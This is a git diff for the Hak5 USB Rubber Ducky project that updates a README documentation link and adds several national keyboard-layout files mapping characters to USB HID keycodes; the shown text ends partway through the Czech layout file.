diff --git a/README.md b/README.md index aee4713..a9764b9 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ This repository contains payloads and extensions for the Hak5 USB Rubber Ducky. A "flash drive" that types keystroke injection payloads into unsuspecting computers at incredible speeds. - [Purchase at Hak5](https://hak5.org/products/usb-rubber-ducky-deluxe "Purchase at Hak5") -- [Documentation](https://help.hak5.org/usb-rubber-ducky-1/ "Documentation") +- [Documentation](https://docs.hak5.org/hak5-usb-rubber-ducky/ "Documentation") - [Encoder](https://payloadstudio.hak5.org "Encoder") - [Forums](https://forums.hak5.org/forum/111-new-usb-rubber-ducky/ "Forums") - [Discord](https://hak5.org/discord "Discord") diff --git a/languages/be.json b/languages/be.json new file mode 100644 index 0000000..d15c522 --- /dev/null +++ b/languages/be.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "q":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + ",":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "a":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "z":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "w":"00,00,1d", + "&":"00,00,1e", + "\"":"00,00,20", + "'":"00,00,21", + "(":"00,00,22", + "!":"00,00,25", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + ")":"00,00,2d", + "-":"00,00,2e", + "$":"00,00,30", + "m":"00,00,33", + ";":"00,00,36", + ":":"00,00,37", + "=":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "Q":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "?":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "A":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "Z":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "W":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + "7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "_":"02,00,2e", + "*":"02,00,30", + "M":"02,00,33", + "%":"02,00,34", + ".":"02,00,36", + "/":"02,00,37", + "+":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "|":"40,00,1e", + "@":"40,00,1f", + "#":"40,00,20", + "^":"40,00,23", + "{":"40,00,26", + "}":"40,00,27", + "[":"40,00,2f", + "]":"40,00,30", + "`":"40,00,31", + "~":"40,00,38", + "\\":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT":"40,00,64" +} \ No newline at end of file diff --git a/languages/br.json b/languages/br.json new file mode 100644 index 0000000..d542428 --- /dev/null +++ b/languages/br.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "[":"00,00,30", + "]":"00,00,31", + "~":"00,00,34", + "'":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + ";":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "\\":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "@":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + "`":"02,00,2f", + "{":"02,00,30", + "}":"02,00,31", + "^":"02,00,34", + "\"":"02,00,35", + "<":"02,00,36", + ">":"02,00,37", + ":":"02,00,38", + "|":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "/":"40,00,14", + "?":"40,00,1a", + "COMMAND-CTRL-SHIFT":"40,00,1a", + "COMMAND-CTRL":"40,00,1a", + "COMMAND-OPTION-SHIFT'":"40,00,1a" +} \ No newline at end of file diff --git a/languages/ca-fr.json b/languages/ca-fr.json new file mode 100644 index 0000000..e6b21d6 --- /dev/null +++ b/languages/ca-fr.json @@ -0,0 +1,170 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "__comment":" Canadian french version made by Dominic Villeneuve", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "^":"00,00,2f", + "<":"40,00,36", + ";":"00,00,33", + "`":"40,00,2f", + "#":"02,00,20", + ",":"00,00,36", + ".":"00,00,37", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,35", + "/":"00,00,35", + "$":"02,00,21", + "%":"02,00,22", + "?":"02,00,23", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + ">":"40,00,37", + ":":"02,00,33", + "|":"40,00,35", + "'":"02,00,36", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "\\":"02,00,35", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"02,00,1f", + "[":"40,00,26", + "]":"40,00,27", + "}":"40,00,25", + "~":"40,00,30", + "{":"40,00,24", + "COMMAND-CTRL-SHIFT":"40,00,34", + "COMMAND-CTRL":"40,00,34", + "COMMAND-OPTION-SHIFT'":"40,00,34" +} diff --git a/languages/ca.json b/languages/ca.json new file mode 100644 index 0000000..15656bf --- /dev/null +++ b/languages/ca.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "^":"00,00,2f", + "<":"00,00,31", + ";":"00,00,33", + "`":"00,00,34", + "#":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "/":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "?":"02,00,23", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + ">":"02,00,31", + ":":"02,00,33", + "|":"02,00,35", + "'":"02,00,36", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "\\":"04,00,35", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "[":"40,00,2f", + "]":"40,00,30", + "}":"40,00,31", + "~":"40,00,33", + "{":"40,00,34", + "COMMAND-CTRL-SHIFT":"40,00,34", + "COMMAND-CTRL":"40,00,34", + "COMMAND-OPTION-SHIFT'":"40,00,34" +} \ No newline at end of file diff --git a/languages/ch.json b/languages/ch.json new file mode 100644 index 0000000..8b36ce2 --- /dev/null +++ b/languages/ch.json @@ -0,0 +1,268 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "^":"00,00,2e", + "$":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "+":"02,00,1e", + "\"":"02,00,1f", + "*":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "!":"02,00,30", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "#":"40,00,20", + "|":"40,00,24", + "~":"40,00,2e", + "[":"40,00,2f", + "]":"40,00,30", + "}":"40,00,31", + "{":"40,00,35", + "\\":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64", + "__comment":"Everything below was additionally added by kuyaya", + "GUI-l":"08,00,0f", + "RIGHTSHIFT":"20,00,00", + "A":"20,00,04", + "B":"20,00,05", + "C":"20,00,06", + "D":"20,00,07", + "E":"20,00,08", + "F":"20,00,09", + "G":"20,00,0a", + "H":"20,00,0b", + "I":"20,00,0c", + "J":"20,00,0d", + "K":"20,00,0e", + "L":"20,00,0f", + "M":"20,00,10", + "N":"20,00,11", + "O":"20,00,12", + "P":"20,00,13", + "Q":"20,00,14", + "R":"20,00,15", + "S":"20,00,16", + "T":"20,00,17", + "U":"20,00,18", + "V":"20,00,19", + "W":"20,00,1a", + "X":"20,00,1b", + "Z":"20,00,1c", + "Y":"20,00,1d", + "+":"20,00,1e", + "\"":"20,00,1f", + "*":"20,00,20", + "%":"20,00,22", + "&":"20,00,23", + "/":"20,00,24", + "(":"20,00,25", + ")":"20,00,26", + "=":"20,00,27", + "?":"20,00,2d", + "`":"20,00,2e", + "!":"20,00,30", + ";":"20,00,36", + ":":"20,00,37", + "_":"20,00,38", + ">":"20,00,64", + "°":"02,00,35", + "°":"20,00,35", + "§":"00,00,35", + "ç":"02,00,21", + "ç":"20,00,21", + "¬":"40,00,23", + "¦":"40,00,1e", + "¢":"40,00,25", + "´":"40,00,2d", + "BACKSPACE":"00,00,2a", + "SHIFT-BACKSPACE":"02,00,2a", + "SHIFT-BACKSPACE":"20,00,2a", + "€":"40,00,08", + "è":"02,00,2f", + "è":"20,00,2f", + "ü":"00,00,2f", + "¨":"00,00,30", + "é":"02,00,33", + "é":"20,00,33", + "ö":"00,00,33", + "ä":"00,00,34", + "à":"02,00,34", + "à":"20,00,34", + "£":"02,00,32", + "£":"20,00,32", + "ALT-GR":"40,00,00", + "RIGHTCONTROL":"10,00,00", + "NUMLOCK":"00,00,53", + "+":"00,00,57", + "-":"00,00,56", + "*":"00,00,55", + "/":"00,00,54", + "ENTER":"00,00,58", + "DEL":"00,00,63", + "INSERT":"00,00,62", + "END":"00,00,59", + "DOWN":"00,00,5a", + "PAGEDOWN":"00,00,5b", + "LEFT":"00,00,5c", + "RIGHT":"00,00,5e", + "HOME":"00,00,5f", + "UP":"00,00,60", + "PAGEUP":"00,00,61", + ".":"00,00,63", + "0":"00,00,62", + "1":"00,00,59", + "2":"00,00,5a", + "3":"00,00,5b", + "4":"00,00,5c", + "5":"00,00,5d", + "6":"00,00,5e", + "7":"00,00,5f", + "8":"00,00,60", + "9":"00,00,61" +} diff --git a/languages/cz.json b/languages/cz.json new file mode 100644 index 0000000..c8d93f1 --- /dev/null +++ b/languages/cz.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":" Czech QWERTZ version made by Andrej Šimko", + "__comment":" Note that some special characters use leftCtrl+leftAlt+[key]", + "__comment":" Special Czech characters like ěščřžýáíéů are not included", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "+":"00,00,1e", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "CTRL-ALT":"05,00,00", + "=":"00,00,2d", + ")":"00,00,30", + ";":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + 